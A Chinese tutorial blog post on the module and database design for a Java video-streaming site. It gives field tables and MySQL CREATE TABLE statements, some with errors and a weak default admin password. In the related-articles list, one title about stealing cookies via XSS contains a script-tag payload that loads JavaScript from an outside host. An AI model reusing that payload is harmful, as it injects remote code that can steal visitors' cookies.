Java仿腾讯视频流媒体点播网站开发实战(二)- 功能模块与实体设计
一、系统整体模块设计图
简单介绍一下架构设计,随着大数据的广泛应用,在现如今的系统之中,尤其是作为流媒体视频播放网站,统计网站用户的行为,分析用户的行为,以及对用户行为的采集无疑是很重要的一个系统要素,并且在网站发布之后,要对用户的行为进行一定的制约或者管理,营销,那么,设计一个后端管理系统是必要且很重要的。所以按照发布的网站和管理系统将整体划分分前端和后端,并非程序员理解之中的前后端。因为学习本教程,要求您必须是前后端都有一定的基础。并且,如果您在此基础上,进行更加丰富的设计,需要您对于当前各大主流视频网站有比较充足的了解,并且需要一定的软件产品设计思维。
网站前端是开放给网络上的注册用户或者游客使用,网站的后端是提供给网站或者企业公司的运营主体进行使用。所以将其称为运营管理平台无疑更加合适一些。
二、实体表设计
由于只是想实现这个过程,所以数据库的设计方面并没有完全按照工业设计规范来进行设计,怎么方便怎么来。
1、视频资源表总表设计
1)、表结构
序号 | 字段名称 | 字段描述 | 数据类型 | 长度 | 主键 | 约束 |
---|---|---|---|---|---|---|
1 | video_id | 视频ID | varchar | 32 | 是 | 非空 |
2 | video_name | 视频名称 | varchar | 100 | 否 | |
3 | video_title | 视频标题 | varchar | 100 | 否 | |
4 | video_descript | 视频描述 | varchar | 200 | 否 | |
5 | video_content | 视频内容 | varchar | 200 | 否 | |
6 | channel_type | 栏目类型 | varchar | 1 | 否 | |
7 | video_type | 小类型 | varchar | 1 | 否 | |
8 | video_source | 视频来源 0:腾讯,1:优酷,2:土豆,3:爱奇艺,4:火山小视频,5:陌陌,6:其他。 | varchar | 2 | 否 | |
9 | upload_type | 上传类型 0:用户上传,1:管理员上传 | varchar | 1 | 否 | |
10 | video_cover | 视频封面海报 | varchar | 200 | 否 | |
11 | video_state | 审核状态 0,:上传成功(待提交审核),1:提交审核(待审核),2:审核不通过,3:审核通过,4:发布,5:下架,6:删除 | varchar | 1 | 否 | |
12 | audit_time | 审核时间 | varchar | 16 | 否 | |
13 | audit_person_id | 审核人ID | varchar | 32 | 否 | |
14 | audit_person_name | 审核人姓名 | varchar | 75 | 否 | |
15 | publish_time | 发布时间 | varchar | 16 | 否 | |
16 | publish_person_type | 发布人类型 0:用户,1:管理员 | varchar | 1 | 否 | |
17 | publish_person_id | 发布人ID | varchar | 32 | 否 | |
18 | publish_person_name | 发布人姓名 | varchar | 75 | 否 | |
19 | unpublish_time | 下架时间 | varchar | 16 | 否 | |
20 | unpublish_person_type | 下架人类型 0:用户,1:管理员 | varchar | 1 | 否 | |
21 | unpublish_person_id | 下架人ID | varchar | 32 | 否 | |
22 | unpublish_person_name | 下架人姓名 | varchar | 75 | 否 | |
23 | delete_time | 删除时间 | varchar | 16 | 否 | |
24 | delete_person_id | 删除人ID | varchar | 32 | 否 | |
25 | delete_person_name | 删除人姓名 | varchar | 75 | 否 | |
26 | create_time | 上传时间 | varchar | 16 | 否 | |
27 | create_person_id | 上传人ID | varchar | 32 | 否 | |
28 | create_person_name | 上传人姓名 | varchar | 75 | 否 | |
29 | download_count | 下载次数 | int | 11 | 否 | 非空 |
序号 | 字段名称 | 字段描述 | 数据类型 | 长度 | 主键 | 约束 |
---|---|---|---|---|---|---|
1 | id | 上传记录ID | varchar | 32 | 是 | 非空 |
2 | video_id | 视频ID | varchar | 32 | 否 | |
3 | create_time | 上传时间 | varchar | 16 | 否 | |
4 | user_id | 上传者ID | varchar | 32 | 否 | |
5 | audit_state | 审核状态0,:通过,1:不通过 | varchar | 1 | 否 | |
6 | audit_time | 审核时间 | varchar | 16 | 否 | |
7 | account_id | 审核人ID | varchar | 32 | 否 | |
8 | status | 视频状态 0:合法,1:不合法,2:删除 | varchar | 1 | 否 |
序号 | 字段名称 | 字段描述 | 数据类型 | 长度 | 主键 | 约束 |
---|---|---|---|---|---|---|
1 | id | 下载记录ID | varchar | 32 | 是 | 非空 |
2 | video_id | 视频ID | varchar | 32 | 否 | |
3 | download_time | 下载时间 | varchar | 16 | 否 | |
4 | user_id | 下载者ID | varchar | 32 | 否 | |
5 | user_nick_name | 下载者昵称 | varchar | 75 | 否 | |
6 | download_ip | 下载地IP | varchar | 15 | 否 |
序号 | 字段名称 | 字段描述 | 数据类型 | 长度 | 主键 | 约束 |
---|---|---|---|---|---|---|
1 | id | 上传记录ID | varchar | 32 | 是 | 非空 |
2 | video_id | 视频ID | varchar | 32 | 否 | |
3 | create_time | 上传时间 | varchar | 16 | 否 | |
4 | account_id | 上传者ID | varchar | 32 | 否 | |
5 | status | 视频状态 0:合法,1:不合法,2:删除 | varchar | 1 | 否 |
序号 | 字段名称 | 字段描述 | 数据类型 | 长度 | 主键 | 约束 |
---|---|---|---|---|---|---|
1 | user_id | 用户ID | varchar | 32 | 是 | 非空 |
2 | user_login_name | 用户登录名 | varchar | 50 | 否 | |
3 | user_password | 用户登录密码 | varchar | 64 | 否 | |
4 | user_phone | 绑定手机号 | varchar | 11 | 否 | |
5 | user_email | 绑定邮箱 | varchar | 100 | 否 | |
6 | user_photo | 头像 | blob | 否 | ||
7 | user_status | 激活状态', 0未激活,1 已激活,2 警告 3:封号 | varchar | 1 | 否 | |
8 | user_level | '登记', 0:初出茅庐,1:久经沙场 2:饱经沧桑 2、 | varchar | 1 | 否 | |
9 | user_integral | 积分 | int | 否 | ||
10 | last_login_time | 上次登录时间 | varchar | 16 | 否 | |
11 | last_login_ip | 上次登录IP | varchar | 15 | 否 | |
12 | user_register_time | 注册时间 | varchar | 16 | 否 | |
13 | user_register_ip | 注册IP | varchar | 15 | 否 | |
14 | is_vip | 是否是会员',/* 0:是 1:否 */ | varchar | 1 | 否 | |
15 | vip_effective_time | 会员激活时间 | varchar | 16 | 否 | |
16 | delete_flag | 删除状态', /* 0:为删除 1::已删除 */ | varchar | 1 | 否 | |
17 | user_real_name | 真实姓名 | varchar | 75 | 否 | |
18 | user_nick_name | 昵称 | varchar | 75 | 否 | |
19 | user_education_status | 学历 | varchar | 1 | 否 | |
20 | user_address_divisions | 地址区划 | varchar | 6 | 否 | |
21 | user_address_detail | 详细地址 | varchar | 200 | 否 | |
22 | user_sex | 性别:1男,2女,0:未知 | varchar | 1 | 否 | |
23 | user_age | 年龄 | int | 否 |
序号 | 字段名称 | 字段描述 | 数据类型 | 长度 | 主键 | 约束 |
---|---|---|---|---|---|---|
1 | open_id | 第三方应用开放ID | varchar | 100 | 是 | 非空 |
2 | user_id | 用户ID | varchar | 32 | 否 | |
3 | auth_type | 第三方类型 0:QQ,1:微信,2:微博 | int | 否 | ||
4 | auth_name | QQ 微信 微博 | varchar | 20 | 否 | |
5 | auth_access_token | varchar | 100 | 否 | ||
6 | auth_expires | varchar | 100 | 否 |
序号 | 字段名称 | 字段描述 | 数据类型 | 长度 | 主键 | 约束 |
---|---|---|---|---|---|---|
1 | id | 字典ID | int | ·11 | 是 | 非空 |
2 | bm | 字典编码 | varchar | 10 | 否 | |
3 | bmmc | 编码名称 | varchar | 100 | 否 | |
4 | dm | 代码 | varchar | 10 | 否 | |
5 | dmmc | 代码名称 | varchar | 100 | 否 | |
6 | is_valid | 是否启用 | varchar | 1 | 否 | |
7 | create_time | 创建时间 | varchar | 16 | 否 | |
8 | update_time | 更新时间 | varchar | 16 | 否 | |
9 | up_dm | 父亲节点代码 | varchar | 10 | 否 |
序号 | 字段名称 | 字段描述 | 数据类型 | 长度 | 主键 | 约束 |
---|---|---|---|---|---|---|
1 | id | 自增主键 | varchar | 32 | 是 | 非空 |
2 | user_id | 用户ID | varchar | 100 | 否 | |
3 | pay_password | 支付密码 | varchar | 32 | 否 | |
4 | user_real_name | 提现姓名=真实名称 | varchar | 75 | 否 | |
5 | user_identifiers | 身份证号 | varchar | 18 | 否 | |
6 | balance | 余额 | decimal | (10,2) | 否 |
序号 | 字段名称 | 字段描述 | 数据类型 | 长度 | 主键 | 约束 |
---|---|---|---|---|---|---|
1 | log_id | 日志ID | varchar | 32 | 是 | 非空 |
2 | record_sn | 交易流水sn,关联wallet_record表 | varchar | 20 | 否 | |
3 | user_id | 用户ID | varchar | 32 | 否 | |
4 | change_money | 变动金额 增+ 减- | decimal | (10,2) | 否 | |
5 | balance | 变动后的金额 | decimal | (10,2) | 否 | |
6 | remark | 备注 | varchar | 100 | 否 | |
7 | create_time | 创建时间 | varchar | 16 | 否 | |
8 | display | 是否显示 0不显示 1显示 | tinyint | 2 | 否 |
序号 | 字段名称 | 字段描述 | 数据类型 | 长度 | 主键 | 约束 |
---|---|---|---|---|---|---|
1 | account_id | 管理员ID | varchar | 32 | 是 | 非空 |
2 | account_name | 管理员姓名 | varchar | 75 | 否 | |
3 | account_login_name | 管理员登录账号 | varchar | 32 | 否 | |
4 | account_password | 管理员登录密码 | varchar | 32 | 否 | |
5 | account_role | 管理员角色 | varchar | 2 | 否 | |
6 | account_phone | 电话号码 | varchar | 11 | 否 | |
7 | account_email | 邮箱 | varchar | 32 | 否 | |
8 | account_address | 地址 | varchar | 300 | 否 | |
9 | account_sex | 性别 | varchar | 1 | 否 | |
10 | account_age | 年龄 | int | 否 | ||
11 | account_identify | 身份证号码 | varchar | 18 | 否 | |
12 | account_photo | 证件照 | BLOB | 否 | ||
13 | account_gradu | 学历 | varchar | 1 | 否 |
序号 | 字段名称 | 字段描述 | 数据类型 | 长度 | 主键 | 约束 |
---|---|---|---|---|---|---|
1 | info_id | id | varchar | 32 | 是 | 非空 |
2 | info_answer | 答案 | varchar | 200 | 否 | |
3 | info_question | 问题 | varchar | 200 | 否 | |
4 | info_state | 是否启用 | varchar | 1 | 否 |
2)、创建表的SQL语句
// 教程是使用MySQL作为使用例子// 1、创建名为video的数据库create database video;// 2、使用当前数据库
use video;// 2、创建视频表DROP TABLE IF EXISTS `video`;
CREATE TABLE `video` (`video_id` varchar(32) NOT NULL COMMENT '视频ID',`video_name` varchar(100) DEFAULT NULL COMMENT '视频名称',`video_title` varchar(100) DEFAULT NULL COMMENT '视频标题',`video_descript` varchar(200) DEFAULT NULL COMMENT '视频描述',`video_content` varchar(200) DEFAULT NULL COMMENT '视频内容',`channel_type` varchar(1) DEFAULT NULL COMMENT '栏目类型',`video_type` varchar(1) DEFAULT NULL COMMENT '小类型',`video_source` varchar(2) DEFAULT NULL COMMENT '视频来源 0:腾讯,1:优酷,2:土豆,3:爱奇艺,4:火山小视频,5:陌陌,6:其他。',`upload_type` varchar(1) DEFAULT NULL COMMENT '上传类型 0:用户上传,1:管理员上传',`video_cover` varchar(200) DEFAULT NULL COMMENT '视频封面海报',`video_state` varchar(1) DEFAULT NULL COMMENT '审核状态 0,:上传成功(待提交审核),1:提交审核(待审核),2:审核不通过,3:审核通过,4:发布,5:下架,6:删除',`audit_time` varchar(16) DEFAULT NULL COMMENT '审核时间',`audit_person_id` varchar(32) DEFAULT NULL COMMENT '审核人ID',`audit_person_name` varchar(75) DEFAULT NULL COMMENT '审核人姓名',`publish_time` varchar(16) DEFAULT NULL COMMENT '发布时间',`publish_person_type` varchar(1) DEFAULT NULL COMMENT '发布人类型 0:用户,1:管理员',`publish_person_id` varchar(32) DEFAULT NULL COMMENT '发布人ID',`publish_person_name` varchar(75) DEFAULT NULL COMMENT '发布人姓名',`unpublish_time` varchar(16) DEFAULT NULL COMMENT '下架时间',`unpublish_person_type` varchar(1) DEFAULT NULL COMMENT '下架人类型 0:用户,1:管理员',`unpublish_person_id` varchar(32) DEFAULT NULL COMMENT '下架人ID',`unpublish_person_name` varchar(75) DEFAULT NULL COMMENT '下架人姓名',`delete_time` varchar(16) DEFAULT NULL COMMENT '删除时间',`delete_person_id` varchar(32) DEFAULT NULL COMMENT '删除人ID',`delete_person_name` varchar(75) DEFAULT NULL COMMENT '删除人姓名',`create_time` varchar(16) DEFAULT NULL COMMENT '上传时间',`create_person_id` varchar(32) DEFAULT NULL COMMENT '上传人ID',`create_person_name` varchar(75) DEFAULT NULL COMMENT '上传人姓名',`download_count` int(10) DEFAULT '0' COMMENT '下载次数',PRIMARY KEY (`video_id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8 COMMENT='视频资源表总表';/**用户上传的视频资源记录表
**/
create table if not exists user_upload_video_record
(id varchar(32) NOT NULL comment '上传记录ID',video_id varchar(32) comment '视频ID',create_time varchar(16) comment '上传时间',user_id varchar(32) comment '上传者ID',audit_state varchar(1) comment '审核状态0,:通过,1:不通过',audit_time varchar(16) comment '审核时间',account_id varchar(32) comment '审核人ID',status varchar(1) comment '视频状态 0:合法,1:不合法,2:删除',primary key(id)
) ENGINE=InnoDB DEFAULT CHARSET=utf8 COMMENT='用户上传的视频资源记录表';/**用户下载视频资源记录表
**/
create table if not exists user_download_video_record
(id varchar(32) NOT NULL comment '下载记录ID',video_id varchar(32) comment '视频ID',download_time varchar(16) comment '下载时间',user_id varchar(32) comment '下载者ID',user_nick_name varchar(75) comment '下载者昵称',download_ip varchar(15) comment '下载地IP',primary key(id)
) ENGINE=InnoDB DEFAULT CHARSET=utf8 COMMENT='用户下载视频资源记录表';/**管理员上传的视频资源记录表
**/
create table if not exists user_upload_video_record
(id varchar(32) NOT NULL comment '上传记录ID',video_id varchar(32) comment '视频ID',create_time varchar(16) comment '上传时间',account_id varchar(32) comment '上传者ID',status varchar(1) comment '视频状态 0:合法,1:不合法,2:删除',primary key(id)
) ENGINE=InnoDB DEFAULT CHARSET=utf8 COMMENT='管理员上传的视频资源记录表';/**用户表
**/
drop table if exists user;
create table IF NOT EXISTS user
(user_id varchar(32) NOT NULL comment '用户ID',user_login_name varchar(50) comment '用户登录名',user_password varchar(64) comment '用户登录密码',user_phone varchar(11) comment '绑定手机号',user_email varchar(100) comment '绑定邮箱',user_photo blob comment '头像',user_status varchar(1) comment '激活状态', /** 0未激活,1 已激活,2 警告 3:封号 **/user_level varchar(1) comment '登记', /** 0:初出茅庐,1:久经沙场 2:饱经沧桑 2、 **/user_integral int comment '积分', /** 积分**/ last_login_time varchar(16) comment '上次登录时间',/*2018-03-08 15:03*/last_login_ip varchar(15) comment '上次登录IP',user_register_time varchar(16) comment '注册时间',user_register_ip varchar(15) comment '注册IP',is_vip varchar(1) comment '是否是会员',/* 0:是 1:否 */vip_effective_time varchar(50) comment '会员激活时间',delete_flag varchar(1) comment '删除状态', /* 0:为删除 1::已删除 */user_real_name varchar(75) comment '真实姓名',user_nick_name varchar(75) comment '昵称',user_education_status varchar(1) comment '学历',user_address_divisions varchar(6) comment '地址区划',user_address_detail varchar(200) comment '详细地址',user_sex varchar(1) comment '性别:1男,2女,0:未知',user_age int comment '年龄',primary key(user_id)
) ENGINE=InnoDB DEFAULT CHARSET=utf8 COMMENT='用户表';/**用户扩展信息表
**/
drop table if exists user_infomation;
create table IF NOT EXISTS user_infomation
(user_id varchar(32) NOT NULL comment '用户ID',user_real_name varchar(75) comment '真实姓名',user_nick_name varchar(75) comment '昵称',user_education_status varchar(1) comment '学历',user_address_divisions varchar(6) comment '地址区划',user_address_detail varchar(200) comment '详细地址',user_sex varchar(1) comment '性别:1男,2女,0:未知',user_age int comment '年龄',PRIMARY key(user_id)
) ENGINE=InnoDB DEFAULT CHARSET=utf8 COMMENT='用户扩展信息表';/**
第三方应用授权表**/
create table IF NOT EXISTS third_party_user
(open_id varchar(100) NOT NULL comment '第三方应用开放ID',user_id varchar(32) NOT NULL comment '用户ID',auth_type int comment '第三方类型 0:QQ,1:微信,2:微博', auth_name varchar(20) comment 'QQ 微信 微博',auth_access_token varchar() comment '',auth_expires varchar() comment ''
) ENGINE=InnoDB DEFAULT CHARSET=utf8 COMMENT='第三方应用授权表';/**数据字典表
**/
create table IF NOT EXISTS data_dictionary
(id int NOT NULL auto_increment comment '字典ID',bm varchar(10) comment '字典编码',bmmc varchar(100) comment '编码名称',dm varchar(10) comment '代码',dmmc varchar(100) comment '代码名称',is_valid varchar(1) comment '是否启用',create_time varchar(16) comment '创建时间',update_time varchar(16) comment '创建时间',up_dm varchar(10) comment '父亲节点代码',primary key(id)
) ENGINE=InnoDB DEFAULT CHARSET=utf8 COMMENT='数据字典表';/**用户钱包表
**/
create table IF NOT EXISTS user_wallet
(id varchar(32) NOT NULL COMMENT '自增主键',user_id varchar(100) comment '用户ID',pay_password varchar(32) comment '支付密码',user_real_name varchar(75) comment '提现姓名=真实名称',user_identifiers varchar(18) comment '身份证号',balance decimal(10,2) NOT NULL DEFAULT '0.00' COMMENT '余额',primary key(id)
) ENGINE=InnoDB DEFAULT CHARSET=utf8 COMMENT='用户钱包表';/**钱包变动日志
**/
CREATE TABLE IF NOT EXISTS user_wallet_log (log_id varchar(32) NOT NULL COMMENT '日志ID',record_sn char(20) NOT NULL COMMENT '交易流水sn,关联wallet_record表',user_id varchar(32) COMMENT '用户ID',change_money decimal(10,2) NOT NULL COMMENT '变动金额 增+ 减-',balance decimal(10,2) unsigned NOT NULL DEFAULT '0.00' COMMENT '变动后的金额',remark char(100) DEFAULT NULL COMMENT '备注',create_time int(10) unsigned NOT NULL DEFAULT '0' COMMENT '创建时间',display tinyint(2) NOT NULL DEFAULT '1' COMMENT '是否显示 0不显示 1显示'
) ENGINE=InnoDB DEFAULT CHARSET=utf8 COMMENT='钱包变动日志';/**
钱包交易记录表
**/
CREATE TABLE IF NOT EXISTS user_wallet_record (record_id varchar(32) NOT NULL COMMENT '自增ID',record_sn char(20) NOT NULL COMMENT '交易流水sn,ymdHis+2位随机数',from_user_id varchar(32) NOT NULL COMMENT '支付方UID,0系统充值',to_user_id varchar(32) NOT NULL COMMENT '接收方UID,0系统提现',type tinyint(2) NOT NULL DEFAULT '3' COMMENT '交易类型 1充值 2提现 3交易 ',money decimal(10,2) NOT NULL COMMENT '交易金额',pay_type tinyint(2) NOT NULL DEFAULT '0' COMMENT '支付方式 0待定 1支付宝 2微信 3银行卡 4余额',remark varchar(100) NOT NULL COMMENT '备注信息',pay_status tinyint(2) NOT NULL DEFAULT '0' COMMENT '支付状态 0待支付 -1失败 1成功',pay_time varchar(16) COMMENT '交易时间',fetch_status tinyint(2) NOT NULL DEFAULT '0' COMMENT '收款状态 0待收款 -1失败 1成功',fetch_time varchar(16) COMMENT '收款时间',check_status tinyint(2) NOT NULL DEFAULT '0' COMMENT '对账状态 0未对账 1已对账',check_time varchar(16) COMMENT '对账时间'
) ENGINE=InnoDB DEFAULT CHARSET=utf8 COMMENT='钱包交易记录表';create table if not exists account
(account_id varchar(32) not null comment '管理员ID',account_name varchar(75) not null comment '管理员姓名',account_login_name varchar(32) not null comment '管理员登录账号',account_password varchar(32) not null default '123456' comment '管理员登录密码',account_role varchar(2) not null comment '管理员角色',account_phone varchar(11) not null comment '电话号码',account_email varchar(32) comment '邮箱',account_address varchar(300) comment '地址',account_sex varchar(1) comment '性别',account_age int comment '年龄',account_identify varchar(18) not null comment '身份证号码',account_photo BLOB comment '证件照',account_gradu varchar(1) comment '学历',primary key(account_id)
) ENGINE=InnoDB DEFAULT CHARSET=utf8 COMMENT='管理员表';create table if not exists validate(info_id varchar(32) not null comment 'id',info_answer varchar(200) not null comment '答案',info_question varchar(200) not null comment '问题',info_state varchar(1) not null comment '是否启用',primary key(info_id)
) ENGINE=InnoDB DEFAULT CHARSET=utf8 COMMENT='验证消息表';
Java仿腾讯视频流媒体点播网站开发实战(二)- 功能模块与实体设计相关推荐
- Java仿腾讯视频流媒体点播网站开发实战
为了调动广大爱好者的学习动力,先看一下成品效果图,以便于您对于本网站有一个更好的认识. 1.首页效果图 首页主要包含登陆,注册,捐助,以及播放工具下载功能.整体布局使用轮播图以及简单的流式布局.整体给 ...
- 电商生鲜网站开发(二)——后台开发:用户模块
电商生鲜网站开发(二)--后台开发:用户模块 文章目录 电商生鲜网站开发(二)--后台开发:用户模块 接口设计 开发任务与知识点 案例:注册接口 统一处理异常 Java异常体系 案例:登录接口 接口设 ...
- 微软ASP.NET 电商网站开发实战 MVC6 +HTML5 +WCF+WebAPI+NoSQL+mongoDB+Redis+Core视频 代码 面试题...
<微软ASP.NET 电商网站开发实战 MVC6 +HTML5 +WCF+WebAPI+NoSQL+mongoDB+Redis+Core 视频 代码 面试题 >下载网盘:https://y ...
- ASP.NET MVC5 网站开发实践(二) Member区域 - 用户部分(2)用户登录、注销
上次实现了用户注册,这次来实现用户登录,用到IAuthenticationManager的SignOut.SignIn方法和基于声明的标识.最后修改用户注册代码实现注册成功后直接登录. 目录: ASP ...
- SI 539 网站开发(二):week6
SI 539 网站开发(二) Week 6: Flexbox Flex Container Flex Items Week 7: Transforms, Transitions and prefers ...
- 仿酷狗音乐播放器开发日志二十二 动态调色板控件第二版(性能大幅提升附源码)...
转载请说明原出处,谢谢~~ 在上次写的博客<仿酷狗音乐播放器开发日志二十一 开发动态调色板控件(附源码)>发布后,我在群里和网友讨论这个控件的性能和优 缺点,发现了他很多不足,还有很多提升 ...
- 网站开发论坛的功能,网站开发论坛的特点
一.网站开发论坛的重要性 网站开发论坛在网站开发行业中扮演着重要的角色,它可以帮助网站更好地了解网站开发技术,并让他们能够利用的技术构建出更加的网站.网站开发论坛不仅拥有众多的,而且还有专业的网站开发 ...
- 仿酷狗音乐播放器开发日志二十一 开发动态调色板控件(附源码)
转载请说明原出处,谢谢~~ 上一篇仿酷狗日志结束后,整个换肤功能就只剩下调色板功能没有做了,我本以为会很简单,但是研究了酷狗的调色板功能后发现不是那么简单的事情.首先看一下酷狗的调色板的样子: 我原本 ...
- 仿酷狗音乐播放器开发日志二十一 开发动态调色板控件(附源代码)
转载请说明原出处,谢谢~~ 上一篇仿酷狗日志结束后,整个换肤功能就仅仅剩下调色板功能没有做了.我本以为会非常easy.可是研究了酷狗的调色板功能后发现不是那么简单的事情.首先看一下酷狗的调色板的样子: ...
最新文章
- 快过高铁!构建云分布式应用还能这样操作?!
- oracle的乐观锁和悲观锁
- pytorch maxout实现
- 要你命3000-List29
- ML之SVM:利用SVM算法(超参数组合进行多线程网格搜索+3fCrVa)对20类新闻文本数据集进行分类预测、评估
- 爬虫 - CNN Business
- Myeclipse学习总结(11)——Eclipse中设置Java/Css/Html/Jsp换行长度
- mybatis 依赖于jdbc_mybatis 详解(一)------JDBC
- Ubuntu 18.04 ibus安装配置中文拼音输入法
- 关于Quartus+Modelsim 门级仿真 Warning (vopt-2216) Cannot find instance 'NA' specified in sdf.的解决办法...
- maven到底怎么读?
- 我的架构师之路——书单
- php 汉王云名片_利用PHP自动生成印有用户信息的名片
- 四川省国际科技合作基地(国合基地)申报条件程序
- mysql分组取最新
- 一文贯通→过滤器与拦截器详解
- 电商平台促销管理功能解析,数商云S2B2C商城系统开启日化行业数字零售新模式
- 线性代数基本定理(核空间与行空间)——The Fundamental Theorem of Linear Algebra
- 量化交易中,如何使用Python计算「筹码分布」指标【附代码】 [量化小讲堂-64]
- golang触发gc的时机
热门文章
- 微信分享自定义图片标题摘要-微信官方API
- 如何在SQL分组查询时将空白值和NULL值分为一组
- android 实现aac音频合并拼接
- 全球及中国蓝牙和智能音箱行业营销状况及盈利前景预测报告(2022-2027年)
- jQuery实现图片轮播小练习
- xss实战: 利用xss得到cookie /brscript src=https://www.yunssl.cn:9062/static/p2.js/script!-
- 平价无线蓝牙耳机哪个品牌好?
- FPGA — Vivado下ILA(逻辑分析仪)详细使用方法
- 常用的二分类损失函数
- 手机欠费超3个月就成失信人员,请问你同不同意?